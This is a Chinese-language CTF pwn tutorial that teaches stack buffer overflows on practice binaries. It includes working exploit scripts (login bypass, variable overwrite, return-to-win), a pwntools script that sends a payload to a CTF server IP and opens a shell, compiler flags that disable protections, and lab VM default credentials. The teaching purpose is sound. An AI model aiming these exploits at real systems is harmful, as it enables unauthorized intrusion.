CTF-Pwn
1.了解CTF比赛中Pwn的概念和常用的工具 2.掌握CTF比赛中Pwn赛题的常见类型和解题方法
CTF-Pwn
课程目标
1.了解CTF比赛中Pwn的概念和常用的工具
2.掌握CTF比赛中Pwn赛题的常见类型和解题方法
教材内容
一、课程引入
Pwn是一个黑客的俚语,意思就是玩家在游戏对战中处于胜利的优势,常常嘲笑对手在完全被击败的时候使用:You just got pwned!
在CTF中PWN题型经常会给一个已经编译好的二进制程序(windows下的exe或者linux下的elf等文件),参赛选手通过对二进制程序的逆向分析和调试来利用漏洞,编写利用代码,通过远程代码执行来达到溢出攻击的效果,最终拿到机器的shell后夺取flag。
二、Pwn 基本概念
1.前置知识
pwn通常是通过程序本身的漏洞,编写利用脚本破解程序拿到主机的权限。这就需要对程序进行分析,了解操作系统的特性和相关的漏洞,所以我们需要前置的知识如c语言、汇编语言、python、linux操作系统等。
2.保护模式
我们在linux中经常利用的是程序的溢出漏洞,而编译程序时可以选择一些保护模式来对我们的程序进行保护。我们在pwn中经常遇到的有四种保护模式。
-
1.RELRO(ReLocation Read-Only)
RELRO会有Partial RELRO和FULL RELRO。如果开启Partial RELRO,那么部分开启堆栈地址随机化,got表(全局偏移表)可写。如果开启FULL RELRO,意味着我们无法修改got表。
-
2.Stack(canary)
如果栈中开启Canary found,程序就会在你调用的函数的时候,在栈帧中插入一个随机数,在函数执行完成返回之前,来校验随机数是否被改变,从而判断是否被栈溢出。那么我们就不能用直接用溢出的方法覆盖栈中返回地址,而且要通过改写指针与局部变量、leak canary、overwrite canary的方法来绕过。
-
3.NX(no execute)
NX enabled如果这个保护开启就是意味着栈中数据没有执行权限。以前的经常用的call esp或者jmp esp的方法就不能使用,但是可以利用rop这种方法绕过。
-
4.PIE(Position Independent Executable)
PIE的中文叫做地址无关可执行文件,是针对.text(代码段),.data(数据段),.bss(未初始化全局变量段)来做的保护,正常每一次加载程序,加载地址是固定的,但是PIE保护开启,每次程序启动的时候都会变换加载地址。PIE enabled如果程序开启这个地址随机化选项就意味着程序每次运行的时候地址都会变化,而如果没有开PIE的话那么No PIE (0x400000),括号内的数据就是程序的基地址
我们可以使用命令关闭所有的保护模式。
gcc -z execstack -fno-stack-protector -no-pie -z norelro -o 输出文件 c文件
也可以生成具备所有保护模式的程序。
gcc -fstack-protector-all -o 输出文件 c文件
3.静态分析和动态分析
可执行程序的分析方法可分为静态分析与动态分析。静态分析就是在不允许目标程序运行的情况下进行分析,而动态分析则是在运行目标程序的情况下进行分析。静态分析可用于了解全局信息,动态分析可用于了解局部信息,动态分析和静态分析相结合有利于我们对于目标程序有一个更加全局的了解和认识。
linux中一般使用IDA作为静态分析工具,常用的动态分析工具包括ltrace、gdb等。
三、使用工具
经常使用的工具就是IDA、gdb。
1.gdb
pwndbg是一个用于GDB的插件,旨在帮助进行漏洞利用和CTF挑战的动态调试工具。它提供了一系列的功能和命令,可以帮助我们更方便地进行动态调试。直接安装就可以使用。
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
安装完成后我们可以使用
gdb 文件名
来对程序进行调试。其中常用的命令如下
info functions //查看程序中调用的函数
disassemble main //查看主函数的汇编代码
cyclic 100 //获取测试用的字符串(100个)
b *0x080491e0 //在0x080491e0的内存地址设断点
x $ebp -0xc //找到$ebp -0xc内存地址对应的值
set *0xffffd29c = 0xdeadbeef //设置0xffffd29c地址值
n //下断点后逐步运行
2.Pwntools
Pwntools 是一个 CTF 框架和漏洞利用开发,可用于快速编写 exp 脚本。它拥有本地执行、远程连接读写、shellcode生成、ROP链构建、ELF文件解析、符号泄露等众多强大的功能。
pwntools 分为两个模块,一个是 pwn,可以用 from pwn import * 导入到 python 中使用,该模块是专门针对 CTF 比赛优化的;另一个模块是 pwnlib,它更适合根据需要导入的子模块,常用于基于 pwntools 的二次开发。
官方文档:
https://pwntools.readthedocs.io/en/stable/
直接使用pip intall 就可以安装
pip install pwntools
3.常用寄存器
EAX(Accumulator)累加器,用累加器操作可以节省时间,用于乘除、输入输出,使用频率高
EBX(BaseRegister)基地址寄存器,作为存储器指针使用
ECX(CountRegister)计数寄存器,循环和字符串操作的时候控制循环的次数
EDX(DataRegister)数据寄存器,乘除运算可以作为默认的操作数参与运算
ESP、EBP(PointRegister)指针寄存器,存放堆栈存储单元的偏移量
ESI、EDI(IndexRegister)变址寄存器,存放存储单元在段内的偏移量
EIP寄存器,存着CPU执行的下一个指令的内存地址,修改EIP寄存器可以修改程序运行的方向,这个也是缓冲区溢出的关键
四、题目练习
使用环境为githuib中CTF项目,里边有编译前的c文件、编译后的程序和对应的利用exploit代码。
git clone https://github.com/Crypto-Cat/CTF.git
下载完成中以前边几个比较简单的为例来进行分析和练习
1.认识缓冲区的溢出
cd CTF/pwn/binary_exploitation_101/00-intro_setup_basics
进到这个目录下边查看程序的源代码
可以看到我们的代码。这里涉及到c语言的get函数导致的缓冲区溢出。
由于gets()不检查字符串string的大小,必须遇到换行符或文件结尾才会结束输入,因此容易造成缓存溢出的安全性问题,导致程序崩溃,可以使用fgets()代替。
代码中我们可以看到设置的缓冲区buffer大小为16个字节,也就是超出16个字节的内容会溢出到内存的其他区域。
通常我们检查linux程序就是使用两个命令:file、checksec
file vuln
使用file来检查目标程序的性质,可以看到是32为的ELF程序,后边就可以使用IDA或者gdb来进行分析。
checksec --file=vuln
使用checksec来检查程序的保护模式,可以看到这里是什么都没开的。其中最后一行的RWX意味着有读,写,和执行的段,也就是我们可以在程序里写入shellcode。
在了解了程序的基本内容之后,我们就可以使用gdb来对程序进行分析。
gdb vuln
进入到gdb之后,使用info functions查看程序中的函数
info functions
可以看到里边是有main函数的,我们就可以看一下main函数的汇编代码
disassemble main
主要使用的还是puts和gets函数。使用run运行程序。
run
提示输入。前边已经知道了可以接受的字节大小也就是缓冲区的大小是16个字节,那么我们输入超过16个字节的话,可以看到EBP和其他的几个寄存器的值也成了我们输入的AAAA,这个就是我们常说的缓冲区溢出。
下边我们可以简单的理解一下。
缓冲区可以理解为一段可读写的内存区域。代码段存放的是程序的机器码和只读数据。数据段存储的是静态数据和用户的全局变量。除了代码段和数据区域,其他的内存区域都能作为缓冲区,因此缓冲区溢出的位置可能在数据段、也可能在堆栈段。
我们的程序的buf只有16个字节,当我们输入第17个字节的时候,就会从下往上对我们的栈进行填充,覆盖掉图中的函数帧结构,随着继续输入就会覆盖掉EBP寄存器和EIP寄存器,从而完成控制程序的跳转,造成缓冲区溢出及利用。
2.登陆绕过
cd CTF/pwn/binary_exploitation_101/01-overwriting_stack_variables_part1
看代码。
可以看到缓冲区大小为6个字节,也就是超过6个字节就会造成缓冲区的溢出。
同样使用file和checksec来对程序进行分析。
file login
checksec --file=login
直接使用登陆发现密码错误。
这种验证密码类的程序可以使用strings或者ltrace来进行调试分析。
strings login
可以看到这个程序的内容,密码就是pass,所以可以使用pass作为密码。或者使用动态调试工具ltrace。
ltrace login
可以看到使用gets函数来提示进行输入,随便输入aaaa。
下边的strcmp函数适用于比较字符串的,我们就可以猜测,程序比较前边我们的输入和后边的pass,那么后边的pass应该就是我们需要输入的密码。
下边我们从缓冲区溢出的角度来做。输入大量的A
可以看到程序的异常中断,输出Sucessfully logged。下边使用gdb进行调试。
gdb login
info functions
看一下main函数的汇编代码
这里可以看到cmp是用来作比较的,也就是比较了[ebp -0xc]地址内的数字和0,那么只要把这个地址对应的改成1就可以了。在cmp的地方下断点后重新运行。
b *0x0804921e
随便输入密码。
使用x $ebp -0xc 查看cmp指令后边用来比较的对应地址的值
x $ebp -0xc
可以看到是0,也就是说把这个地方改成1或者其他的值,程序就会输出success。使用set修改掉这里的值
set *0xffffd2ac = 1
然后输入n单步调试。可以看到跳转到的地方是Success logged。
已知我们最多可以输入6个A,那么我们输入七个A就会造成缓冲区溢出。使用run运行程序后查询我们的$ebp -0xc
x $ebp -0xc
此时值为41,即A的ASCII码值。也就是我们输入的第七个A ,会被放在这个内存地址的地方。也就是只要我们输入超过六个字节,就会让$ebp -0xc的地址值不为0,也就是可以输出Successfully logged,完成登陆绕过。
最终poc为exp.py
z = "AAAAAA"
print(z + "\x01")
执行即可
python3 exp.py | ./login
3.堆栈变量覆盖
cd CTF/pwn/binary_exploitation_101/02-overwriting_stack_variables_part2
查看题目代码
可以看到缓冲区的大小为32位,超过即造成缓冲区的溢出。尝试运行程序
输入超过32个a,下边就会显示a的ASCII码,也就是通过溢出改变了下边的输入。使用file和checksec进行分析。
32位的ELF文件,没有保护措施。在gdb中尝试调试。
gdb overwrite
info functions
有一个do_input函数,看一下汇编代码。
disassemble do_input
找到负责比较的cmp,可以看到要覆盖的值,也就是上边出现61616161的部分,就是0xdeadbeef。
在cmp的内存地址下断点。
b *0x080491e0
输入AAAAAA进行调试。
找到要比较的内存地址 $ebp -0xc
x $ebp -0xc
可以看到现在还是12345678。结合之前看到的c代码,可以知道将这个地址的值覆盖成0xdeadbeef就可以输出good job。
set *0xffffd29c = 0xdeadbeef
这时候再使用n继续运行,就会跳转到成功的地方。
这样我们就可以写poc,exp.py
#导入pwntools模块
from pwn import *
#运行程序
io = process('./overwrite')
#程序运行后发送指定的字符串,格式为32位
io.sendline(b'A' * 32 + p32(0xdeadbeef))
#接收输出并且解码
print(io.recvall().decode())
然后使用python3执行即可。
python3 exp.py
4.覆盖函数返回地址
cd CTF/pwn/binary_exploitation_101/03-return_to_win
使用checksec查看
checksec --file=ret2win
尝试执行分析功能,就是输入名字然后输出hi there,用户名
查看程序代码,缓冲区溢出的大小位16位,超出16位即造成溢出。
gdb进行程序的调试。
gdb ret2win
info functions
我们需要注意的就是hacked和register_name两个函数。hacked可能是我们需要跳转到的执行函数。
disassemble register_name
这里有一个简单的方法,我们直接使用大量的字符串输入程序,查看是否能覆盖掉寄存器内的内容。
python2 -c "print 'A' * 168"
然后将生成的字符串全部当作程序的输入,重新运行程序。
run
可以看到EBP和EIP两个寄存器都被填充输入的A了,这里就需要判断我们填充在两个寄存器的值在我们输入中的位置,使用特定序列的字符串来进行判断。
cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
可以看到每四个字节最后一个和字符是不一样的,用这个来确定我们寄存器中的值在输入的具体位置。
r重新运行,输入上边生成的序列。
此时可以看到EIP寄存器中的值为haaa,就可以使用命令直接确定位置。
cyclic -l haaa
也就是说,我们输入前边28个随意的字节,然后从29个字节开始后边的四个字节会写入我们的EIP寄存器,来控制程序跳转运行地址。
前边已经看到了我们需要跳转到的是hacked函数,地址为0x08049182。
这样就可以用python写我们填充的字符串。
python2 -c "print 'A'*28+'\x82\x91\x04\x08'" > exp
然后导入程序即可。
同样可以使用pwntools完成poc的编写,exp.py
#导入pwntools模块
from pwn import *
#运行程序
io = process('./ret2win')
#程序运行后发送指定的字符串,格式为32位
io.sendline(b'A' * 28 + p32(0x08049182))
#接收输出
print(io.recvall())
最后执行程序
python3 exp.py
5.在线场景栈溢出
这里使用攻防世界pwn题的pwnstack为例,说明pwntools脚本编写。
首先下载附件,得到pwn2的程序,进行开头的分析。
file pwn2
checksec --file=pwn2
然后使用gdb进行函数等的分析。
info functions
可以看到vuln函数,backdoor函数和main函数是我们需要注意的。
disassemble main
disassemble backdoor
前边使用的都是gdb的动态分析,下边使用IDA进行静态分析,看一下执行程序的伪代码。
主函数:
vuln函数:
backdoor函数:
分析得知,我们只要在主函数中调用vuln函数的过程中,让程序执行到backdoor函数的开头即可,即前边第四题的覆盖函数返回地址到backdoor的思路。
前边我们知道了地址为
0x0000000000400762
而在IDA中可以看到/bin/bash是8个字节的。
结合前边vuln函数中看到char定义的buf大小为160,所以我们要覆盖的函数返回地址应该是前边160+8个字节的数据之后后边的地址是我们要覆盖的返回地址,也就是poc应该如下:
#导入pwntools 模块
from pwn import *
#远程连接目标服务器和端口
p=remote("61.147.171.105",59836)
#编写payload
payload=b'a'*0xa8+p64(0x400762)
#发送到目标端口
p.sendline(payload)
#接收输出
p.interactive()
这样我们接收到的就是一个反弹shell,然后在目标服务器中找到flag。
五、推荐环境
推荐靶场环境exploit.education
https://exploit.education/
提供了完整的虚拟机环境来做,其中的Protostar和其他的几个环境都可以当作很好的入门环境。
导入虚拟机exploit-exercises-protostar-2.iso,配置好环境即可访问。启动主机选择live模式,默认登陆的账号密码为:
root / godmode //root权限
user / user //用户权限
可以使用xshell进行连接,以stack0为例,可以在官网看到他的要求和代码。
https://exploit.education/protostar/stack-zero/
题目的地址为 /opt/protostar/bin/stack0
可以看到缓冲区的大小为64位,目的就是让modified不为0就算破解成功了。可以使用系统自带的gdb进行分析。
gdb stack0
按照前边的步骤我们来看程序的函数和对应的地址
info functions
因为里边的函数过多,我们可以直接看主函数。
disassemble main
可以在gets的下一行地方下断点,看输入之后内存的情况
b *0x08048411
使用r重新运行程序,输入AAAA,然后查看esp寄存器的值
x/24xw $esp
这个来显示栈顶24个字节的内存,可以看到我们输入的A已经在里边了。
这个时候最后一行的00000000应该就是我们的modified,我们的目的就是让他不为0。
输入八个A进行测试:
由此可知我们输入超出缓冲区64个字节的65个A的话就会覆盖掉原来modified的区域,完成溢出。
这样我们输入c继续运行,就会出现我们需要的正确的结果,完成Pwn
课程小结
通过本节课程,我们了解了Pwn中涉及到的一些基本知识和程序的一些保护模式,了解了动态调试和静态调试的流程。学习了常用的Pwn工具并使用工具进行常规的题目练习,掌握缓冲区溢出类的Pwn题思路和解题步骤,并使用靶场环境protostar进行进一步的理解和学习。
登录
前往注册账号注册
注册成功,默认密码已通过短信发送给您
欢迎来到蜗牛学苑~
我们仍旧想要当初想要的不一样,世间浮沉,到最后还是想要和当初想要的和别人不一样。
3小时前 2人点赞